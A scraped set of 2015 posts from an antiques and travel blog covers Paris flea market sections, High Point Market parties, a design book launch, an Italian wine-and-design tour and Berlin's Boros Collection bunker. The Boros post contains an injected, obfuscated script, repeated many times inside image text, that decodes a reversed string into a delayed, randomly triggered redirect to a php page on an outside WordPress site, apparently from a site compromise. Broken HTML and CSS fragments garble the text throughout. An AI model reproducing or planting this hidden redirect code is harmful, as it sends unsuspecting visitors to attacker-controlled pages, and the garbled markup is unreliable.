Paul Bert Serpette

Dear Diva Readers,

 

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>In to-a-party-at-the-paris-flea-market#comments” target=”_blank”>Friday’s blog I invited you to join me in Paris at our annual Antiques Diva Paris Flea Market Fete Sunday January 24, 2016 co-hosted with (and at) Paul Bert Serpette.

Today I wanted to explore Paul Bert Serpette and tell you why they are our favorite section of the Paris Flea Market!

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

First all of you – did you know that Paris Flea Market isn’t just one flea market but rather a series of 15 markets spanning more than 7 miles of antique-filled alleyways?  It’s massive and clients can definitely feel confused and intimidated when trying to navigate the market on their own without the aid of an Antiques Diva Tour Guide, asking themselves “Where do we go? How do we find what we’re looking for?!” We know the market like the back of our hand – those little alleyways, those hidden restaurants you’d never actually find off the main road, the vendors whose inventory is half the price of the others…  Plus the vendors know us, which helps when getting the best prices on your purchases because when we walk in the stall with a client the vendor knows our client means business.  Our job is to take you by the hand and show you an insider’s guide to Paris. So often we receive emails from soon-to-be clients, saying “I went to the Paris Flea Market but when I arrived the Clignancourt Metro I got lost – and the neighborhood was actually sketchy and I never found the flea market! I only found a scary market selling t-shirt, and stolen watches, and suitcases… HELP! I want to see the Paris Flea Market of my dreams!!!”

That’s where Paul Bert Serpette comes in – It’s the Paris Flea Market of your dreams!

When you arrive the Paris Flea Market – the main artery of the market is the Rue de Rosiers  – as you walk up this main road you will pass a variety of markets – and while we love all the markets, our favorite finds are near the end of the market on your left.  That market is Paul Bert Serpette.

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

Do you remember the theme song to the TV show Cheers “You want to go where people know,  people are all the same.  You want to go where everybody knows your name.”  For me – that “Cheers” place is Paul Bert Serpette – the friendliest section of the flea market, where all the inventory looks as if it should go onto a magazine cover and where you find the best inventory at the best flea market in the world.

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

 

Paul Bert Serpette is truly the flagship of the Puces de Paris Saint-Ouen – and it’s actually the world’s largest antique market – it’s positively chocked full of the most beautiful pieces of furniture, jewelery, design and vintage clothing from Antiquity to the 1990’s!

Competition is fierce when hunting for antiques – Paul Bert Serpette welcomes 5,000 visitors per weekend, drawing passionate collectors and connoisseurs from around the world.  Walking through the market you’ll hear snippets of conversations in every language imaginable… but did you know that this market is as popular with the locals as it is tourists and travelers?  This is where Parisians go to shop on sunny Sunday afternoons!!!

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

Because of our close relationships with vendors, we are honored at The Antiques Diva & Co that we have been appointed as the ONLY APPROVED Antiques Tour Guide of Paul Bert Serpette.

We encourage you to stay up to date on news at Paul Bert Serpette by subscribing to their newsletter.

Paul Bert Serpette, Paris Flea Market, The Antiques Diva, Paris Flea Market Antiques Tour Guide, World’s Largest Antiques Market, Toma Clark Haines, Antiques Diva Paris Flea Market Party

More than that – take some time to poke around their website – did you know you can source antiques at Paul Bert Serpette online??   And if you’re looking for something specific their new website even has a feature that allows you to set an alert, telling them what you’re looking for – and when a vendor at the market gets the item you’re looking for it emails you to notify you of the antique’s availability?!  Now that is what I call service!!!!

We are delighted to be co-hosting our Annual Antiques Diva Paris Flea Market Party with the team from Paul Bert Serpette!!!

For more information on shopping for antiques in Paris email to:info@antiquesdiva.com”>info@antiquesdiva.com.

Bonne Shopping!

The Antiques Diva®

Currey & Co

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>As I’m gearing up for High Point Market next week, I wanted to invite you all to a party I’m hosting in conjunction with Currey & Co called Midnight in Paris with The Antiques Diva & Co! It will take place in the Currey & Co showroom on Saturday October 17th from 3 to 5 PM and is sure to be one of the most fun events at High Point, as everyone knows Currey & Co’s showroom is THE place to be for a good time! The idea of the party came when we had the pleasure of taking the Currey & Co team on an Antiques Diva shopping tour of the Paris Flea Market this year during Maison Objet. Their team came over to Paris for inspiration and boy did they find it! We were able to take them to sections of the market they didn’t even know about. In fact, their PR Maven Bethanne Matari says, “The Currey & Co design team spent a full day with Toma & Dive Guide Danielle at Le Puce de Paris. Having been to the market more than 20 times on our own, they took us to the back side of the flea market where we’d never been before – and it was all NEW to us. We found lots of inspirations and a few concrete ideas on new furniture designs. The best part of the day (other than a superb lunch) was a tour of vintage clothing & fabric shops. We could have spent all day there! Toma and Danielle seemed to know just about every vendor at the flea market and were full of historical information on how Le Puce came to be. All in all, it was a thoroughly entertaining day—oh,  and did I mention champagne!  Bubbly always makes an excursion more fun.”

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

While Currey & Co is known for their lighting lines which include chandeliers, wall sconces, table and floor lamps, they also manufacture a wide range of home furnishings, garden furniture, and accessories. In fact, they’ve been a purveyor of distinctive garden furnishings since 1988. The essence of Currey & Company is not only the product for which it is known but also the very important people who help to create the product and carefully deliver it into the hands of those other important people, the customers, in a timely fashion. While people are key, the product is also the lifeblood of the company and at Currey & Company they take pride in their original design work , meticulous craftsmanship and careful attention to all details of a product. The effort of their multi-step hand-finishing process manifests itself in the richness and depth of the final finish of many of their products. The appearance of these pieces speaks of the human hands that have touched them as well as of the design skills and craftsmanship that have created them. They have the willingness to do what many other manufacturers regard as too difficult or too time-consuming, and it certainly shows.

Some new products we love that will launch at this market are:

1. 3249  AR 4497  Sinclair Bar Cabinet

50.25″w x18.25″d x54.5″h

Material: Wood/Printed Glass

Finish: Black Lacquer/Emerald Green Lacquer/Malachite

A provocative mix of gloss black lacquer and reverse painted malachite glass panels make you want to see what’s inside this beautiful bar cabinet. Features include a gloss emerald green interior, lit with under-mount lighting, touch on/off, wine bottle storage for up to 13 bottles, a pull out tray and adjustable glass and wood shelves

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

 

 

2. 4217  Odeon Bar Cart

36″w x19.75″d x35.5″h

Material: Wrought Iron/Mirror

Finish: Gold Leaf/Black/Light Roche Antique Mirror

Modern chinoiserie story with geometric patterning and shallow curved detail reminiscent of Chinese architecture

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

 

3. 3258  Zhin Cabinet

33″w x23″d x62″h

Material: HDF/Solid Steel

Finish: Snow White/Molten Lava/Contemporary Gold

This Modern Chinoiserie cabinet has crisp lines, bold color and geometric hardware from an Asian motif. The lava red inside adds drama and the hardware is a statement on its own. The cabinet features ample storage with soft close drawers, cubbies with cord management and an adjustable shelf than can be removed to accommodate a small flat screen TV.

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

 

4. 6258  Hester Table Lamp

34″h

Material: Ceramic/Metal

Finish: Gold/Black and White Stripes/Satin Brass

Shade: Off White Shantung

18x18x10/150w/1w/A

And an exclusive sneak peek only here on The Antiques Diva Blog

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

 

5. 3244 Clara Folding Screen

78″w x2″d x74.25″h

Material: Wood/Brass/Linen

Finish: Natural Black Linen/Brass/Bronze

Inspired from a bangle bracelet this screen is full of drama. The black linen texture compliments the hand finished brass cladding that is inlayed into the piece. Each panel is hand wrapped in brass cladding to frame out the design with class.

Currey & Co, High Point Market, The Antiques Diva, Toma Clark Haines, Midnight in Paris Party, Maison Objet, Paris Flea Market Tours, Sinclair Bar Cabinet, Bar Carts, Odeon Bar Cart, Zhin Cabinet, Chinoiserie, Hester Table Lamp, Clara Folding Screen, Bethanne Matari

Cannot wait to see all these new products in person! Be sure to join us at the Midnight in Paris with The Antiques Diva & Co party as you can enter to win a tour of the Paris Flea Markets with the DIVA. Join us for lively conversations about antiques, design, travel and more while sipping a champagne cocktail, listening to live music and viewing new Currey products on the first official day of market.  SPECIAL 100 EURO OFF Diva Tour Gift Certificates will be given out at this fete in everyone’s favorite showroom at High Point! See you there!

Ciao,

The Antiques Diva®   

DesignHER

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I am so honored to be part of an exciting project which is being celebrated this month at High Point Market.

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations
Julianne Taylor, Creative Director Taylor Burke Home

I first met Julianne Taylor, founder of Taylor Burke Home last year at High Point Market through the formidable Gretchen Aubuchon of Fashion Decor.  Immediately I knew this woman had it going on. A family woman and an entrepreneur, Julianne understands the struggle that many business women face when it comes to maintaining work/life balance. We instantly connected, having a shared past as expats. Julianne’s vision to start her company started when she herself lived overseas in Asia.  Her story of the start of her business echoed my own and she inspired me to continue to pursue my dream.  We have stayed in touch through various social media outlets, operating our lives in concentric circles—don’t you just love social media?!  This month, Julianne has a new book coming out called DesignHER. The book highlights 35 inspiring women who are shaping the interior design world. I am delighted to be included in that list of go-getters and I cannot wait to read the book and gain insights from the lives and careers of the 34 other inspiring ladies!

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations

There will be a special pre-release party on Saturday October 17, 2015 from 5:30-7:30pm at the Wesley Hall Showroom in High Point. I’m thrilled to be able to attend the fete, as I’ll be in High Point for market (stay tuned to see the 5 – yes count them, 5 – events I’ll be taking part in from a panel, to a tour, to a book launch and more.) After this pre-release of 300 numbered and signed, advanced copies, the book will be available for purchase in early February 2016. I hope you’ll pick up a copy for yourself or a friend, as there are bound to be several tips, stories, and advice from women who have started their own businesses and continue to lead the design industry into the 21st century.  If you’re interested in obtaining a copy email me and I”ll make sure you’re on the list (toma(at)antiquesdiva.com).

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations

Join me in congratulating Julianne along with all of the women involved in the creation of this book which I believe will inspire modern women all over to live out their dreams. To the women entrepreneurs of today—Bravo!

Julianne Taylor, Taylor Burke Home, Gretchen Aubuchon, Fashion Décor, DesignHER, High Point Market, Toma Clark Haines, The Antiques Diva, Wesley Hall Showroom, Design Inspirations

To the little girls dreaming of changing the world and leaving your mark on it—You can do it!

Cheers,

The Antiques Diva ®

Design & Wine Italy

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>What happens when you add equal parts Design and Wine, pour in Adam Japko magic with Jeremy Parzen pizazz and top of with the effervesce of The Antiques Diva & Co?? You get Design & Wine Italy! A Once In A Lifetime Opportunity for a Luxury Small Group Tour to travel to Italy with the 3 of us (2 Divo’s and a Diva) on an unforgettable journey drinking wine, shopping Italian antiques, touring behind-the-scenes design destinations in Venice and the Veneto with an optional trip to Fruily-Venezia! How divine does that sound?!

Design & Wine Italy, Toma Clark Haines, The Antiques Diva, Wine Tours of Italy, Venice Tours, Adam Japko, Esteem Media, Jeremy Parzen, Italian Wine, Italian Design Tours, Fruily-Venezia

Adam Japko is the founder of Esteem Media, the largest network of regional luxury shelter media properties for Network Communications, Inc. Atlanta Homes & Lifestyles, Design Bloggers ConferenceGarden Bloggers ConferenceHome Design Digital Marketing Summit, WineZag, and New England Home all leverage events, print media, social media, blogs, and digital marketing…but overall, community connection is the catalyst for their constituents’ commercial success. Adam knows a thing or two about design, but also has had much success with his wine blog, WineZag, which led to an idea…why not combine Wine and Design for a fantastic way to connect professionals in both areas?

Jeremy Parzen is a food historian, Italian wine expert, and author of the popular Italian wine and lifestyle blog DoBianchi.com. Jeremy’s writing on Italian wine has appeared in mastheads as diverse as DecanterLa Cucina Italiana, and Men’s Vogue. He’s regularly cited as one of the leading authorities on Italian wine in the U.S. today.

Born in Chicago, Illinois and raised in La Jolla, California, Jeremy Parzen is a widely published author and translator. His feature articles on food, wine and food history have appeared in nationally distributed cooking magazines, cookery books and academic journals. He’s lived, traveled, worked, and studied in Italy as a graduate student. For two years he was the chief wine writer for La Cucina Italiana (1998-2000) in New York. His translation of the first modern cookery book by fifteenth-century Italian celebrity chef Maestro Martino was published in January 2005 by the University of California Press.

And then there’s me, The Antiques Diva! Of course I am heavily involved in the design world, both in Europe and the United States, and I also love wine, champagne and cocktails for that matter! Being in Italy frequently, I have had the pleasure of learning about Italian wine and also Italian design. Historic Italian design as well as Italian artisans of today have informed the design world and continue to influence global design. I’m so excited to be a part of this Design & Wine Tour in Venice and the Veneto. Those who want a few more days can add on a side trip with us to Fruili-Venezia at one of my favorite off-the-beaten path places to stay in Italy.

Space is limited. First come, First served so don’t be late or you might miss the Prosecco!!!

More Details.

Design & Wine Italy, Toma Clark Haines, The Antiques Diva, Wine Tours of Italy, Venice Tours, Adam Japko, Esteem Media, Jeremy Parzen, Italian Wine, Italian Design Tours, Fruily-Venezia

Design & Wine Italy, Toma Clark Haines, The Antiques Diva, Wine Tours of Italy, Venice Tours, Adam Japko, Esteem Media, Jeremy Parzen, Italian Wine, Italian Design Tours, Fruily-Venezia

And here is a taste of what we’ve got planned:

TOUR HIGHLIGHTS

Six days of dazzling design destinations paired with delectable wine, food, and antiques

  • Tour Venice, Asolo, Murano, Burano, Venissa, Verona, and Valpolicella
  • Entire tour organized and personally escorted by Adam Japko, Design Bloggers Conference and WineZag founder; Jeremy Parzen, food historian, Italian wine expert; and Toma Clark Haines, The Antiques Diva, founder of Europe’s largest antiques touring and sourcing company
  • Design point of interests: Liugi Bevilacqua for traditional Venetian fabrics, Antolini for stone craftsmanship, a visit to a family-owned Murano Glass factory, and Antique Shopping in secret sources in private palazzos in Venice and the Veneto countryside.
  • Shipping services available on request for all design, wine, and antique acquisitions and purchases  (Shipping fees additional)
  • Wineries and Vineyards: Bele Casel, Bisol, Sartori, La Biancara (Maule), Barone Pizzini, and Valentina Cubi
  • 6 nights double or single occupancy: 3 night’s stay at JW Marriott Venice Resort and Spa on the private island of Isola de Rose; and 3 nights at the luxurious Villa Quaranta Park Hotel in Verona
  • Transport from JW Marriott Venice hotel to other destinations on tour and to airport upon conclusion of the tour
  • 6 breakfasts, 5 lunches, 5 dinners
  • Optional  2-day weekend excursion to La Subida, in the quiet pastoral region of Fruili Venezia, one of Italy’s finest hidden Italian/Slovenian gourmet and wine destinations
  • Not included: Airfare and meals not listed on your final itinerary
  • Reservation Deadline: December 1, 2015
  • Price: $3,800 per person/double occupancy
    ($600 per person/single occupancy surcharge)
  • Optional weekend in La Subida:
    Additional $300 per person/double occupancy
    ($50 per person/single occupancy surcharge)
    Includes all transfers and occupancy

I hope you can join us on this exciting adventure! For any questions, more information – or to book your seat ASAP – please email me at to:info@antiquesdiva.com”>info@antiquesdiva.com.

See you in Italy!

The Antiques Diva®

The Antiques Diva Does High Point Market

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>I cannot believe that it is almost October already! It seems that this year is flying by, but October means that it’s time for autumn High Point Market which is one of my favorite times of the year.  I’ll be there giving my behind the scenes tour of The Antique & Design Center and also throwing a Midnight in Paris party at the Currey & Co showroom! I’m also speaking on a panel and taking over the High Point Market’s Instagram account for a day – not to mention standing in when Julianne Taylor of Taylor Burke Home does the pre-release of her book DesignHer, listing 35 Inspiring Women Who Are Shaping The Interior Design World.  I’m so excited she included me – ME!!! – in that list! In fact, I’m excited in general as the reason this is my favorite time of year is that High Point is all about People. It’s when I get to connect with industry friends and brands, colleagues and clients – and not to mention – BLOG READERS! I’d LOVE to invite you to attend one of my Antiques Diva events at High Point Market!

High Point Market, Toma Clark Haines Speaking Engagements, The Antiques Diva, Currey & Co, Midnight in Paris, Julianne Taylor, DesignHer, The Antique & Design Center, Paris Flea Market, Modenus, Veronika Miller, Robert Passal, Lowy Frame & Fine Art Services

1.  The Antiques Diva Happy Hour Tour of The Antique & Design Center 

Date: Friday, October 16th 2015 at 4:00pm
Location: The Antique & Design Center Ground Level of Market Square

The early bird gets the worm at the ADC with me, Toma Clark Haines, owner of Europe’s largest antiques touring and buying service company, as I take you on a tour of the major antique periods and styles to identify their key characteristics utilizing modern day metaphors and featuring inventory found at the Antique and Design Center in High Point.  No passport required.   Focusing on the antique trends in Europe- I’ll take antiques out of the past and bring them into the future of design. Visit the High Point Antique Center Blog for details.

High Point Market, Toma Clark Haines Speaking Engagements, The Antiques Diva, Currey & Co, Midnight in Paris, Julianne Taylor, DesignHer, The Antique & Design Center, Paris Flea Market, Modenus, Veronika Miller, Robert Passal, Lowy Frame & Fine Art Services

2.  Midnight in Paris with The Antiques Diva & Co

Date: Saturday, October 17th 2015 from 3:00pm to 5:00 pm
Location: Currey & Company Showroom – IHFC M110 on Main Street, Street Level

Join me, The Antiques Diva, and win a tour of the Paris Flea Markets with the DIVA. Join us for lively conversations about antiques, design, travel and more while sipping a champagne cocktail, listening to live music and viewing new Currey products on the first official day of market.  SPECIAL 100 EURO OFF Diva Tour Gift Certificates will be given out at this fete in everyone’s favorite showroom at High Point!

High Point Market, Toma Clark Haines Speaking Engagements, The Antiques Diva, Currey & Co, Midnight in Paris, Julianne Taylor, DesignHer, The Antique & Design Center, Paris Flea Market, Modenus, Veronika Miller, Robert Passal, Lowy Frame & Fine Art Services

 

3.  DesignHer Pre-Release Party 

Date: Saturday, October 17th 2015 from 5.30pm-7:30pm
Location: Wesley Hall Showroom
310 N Hamilton St, High Point, NC 27260

Julianne Taylor, IIDA Founder + Creative Director of Taylor Burke Home is doing a SPECIAL PRE-RELEASE Party for the launch of her new book DesignHer – listing 35 Inspiring Women Who Are Shaping The Interior Design World.   I happen to be one of those 35 profiles and will be attending this fete with other featured women in design.  After this first release of 300 numbered and signed copies, the book will be available for purchase in late January/early February 2016.

 

4.  Mastering the Mix of Antique and Contemporary Art & Decor in Interior Design

Date: Sunday, October 18th 2015 from 2:00pm-3:00pm
Location: Theodore Alexander, 229 West Russell Avenue, High Point, 27260

Join industry experts and masters of mixing materials, periods and styles as they discuss how to create designs that look collected, curated and current. Panel: Antiques Diva CEO, Toma Clark Haines; Interior designer Robert Passal; and Lowy Frame & Fine Art Services Co-Owner, Brad Shar. Moderator: Veronika Miller, CEO Modenus.

High Point Market, Toma Clark Haines Speaking Engagements, The Antiques Diva, Currey & Co, Midnight in Paris, Julianne Taylor, DesignHer, The Antique & Design Center, Paris Flea Market, Modenus, Veronika Miller, Robert Passal, Lowy Frame & Fine Art Services

 

ALSO ON SUNDAY 

5.  #HPMKT Instagram TakeOver

The Antiques Diva & Co has been tagged with the task of taking over High Point Market’s Instagram Account! I’ll be posting up to 15 photos on High Points very own Instagram site sharing some Diva Style. Make sure to follow @TheAntiquesDiva on Instagram and High Point Market.

I hope to see many friends and colleagues there! If you can’t make it to market, stay tune to our social medias and the blog as I’ll be keeping you up to date on what’s happening at #HPMKT.

The Antiques Diva®   

Boros Collection in Berlin

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While I now live in Pankow – the far North East of Berlin – I lived in Mitte for 4 years when I first moved to Germany.   Just a few steps from my back door was the giant, friendly neighborhood bunker – a remnant left behind of World World II.

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”401″ />

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”401″ />

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”401″ />

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”407″ />

By happenstance shortly after I moved into my alt bau I read an article in Elle Decor on Christian Boros – featuring his penthouse apartment at the top of the bunker in my neighborhood.  Christian bought the building to house his art collection – and built a chic pad as the jewel in the crown at the top of this building.  Evenings walking home from dinner I’d see swank soirees going on in the well-lit top floor and I was always intrigued to see what was inside this building.  Rumor had it, it housed a private art collection only available by appointment.  Recently with a group of friends from Internations I had the opportunity to break through those fortress doors and tour the property.

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”599″ />

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”598″ />

Originally used as a war air raid shelter during World War II, the concrete bunker was built in 1942. While it is an imposing structure, lacking in ornamentation, you can’t help but think of it as a haven, sheltering innocent civilians from bullets — markings of which you can still see in the building as it has bullet holes from air attacks. The building, with its two meter thick walls, could hold up to 3,000 people, many of which would come from the nearby Friedrichstrasse railway station.

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”825″ />

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”599″ />

As with most buildings, its use has been adapted over time. It has been used as a prisoner of war camp, a textile warehouse, a techno club, and finally the residence of art collector Christian Boros and his wife Karen in 2003. At that point in time, the couple hired Berlin-based architect Jens Casper to alter the interiors of the entire building so the collector could display his vast art collection and also live in a penthouse flat.

 Boros Collection Berlin, WWII Bunker, Christian Boros, Toma Clark Haines, The Antiques Diva, Internations, Top 10 Things <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == to See in Berlin, Art Collections in Berlin, Berlin Penthouse” width=”600″ height=”807″ />

Today, visitors who book a tour in advance enter a more open concept space, designed to showcase the modern art that makes up the Boros Collection. A series of 80 rooms house art which has been installed by the artists themselves – art which sometimes makes you question – WHAT IS ART?  I love when I’m challenged in my thinking. It’s easy to see a canvas on a wall and consider it art. Broken glass on the floor? Gorgeous. Like diamonds shimmering… but is it art?  What about a trash can mounted to the wall… I accidentally threw my gum away – only to discover after tossing my Big Red into the bin that I had inadvertently devalued the art.  The fact is that there is beauty in the every day – in my own home my boxing gloves lay on a white mink throw which is carelessly scattered across a Louis 15th Chaise Longue.   A friend the other day saw this is in my home and commented… “Everything you do in your home is like art.”  I’m a firm believer in the beauty of the everyday – and a fan of abstract art in general – and found myself simultaneously challenged and inspired by the Boros Collection.

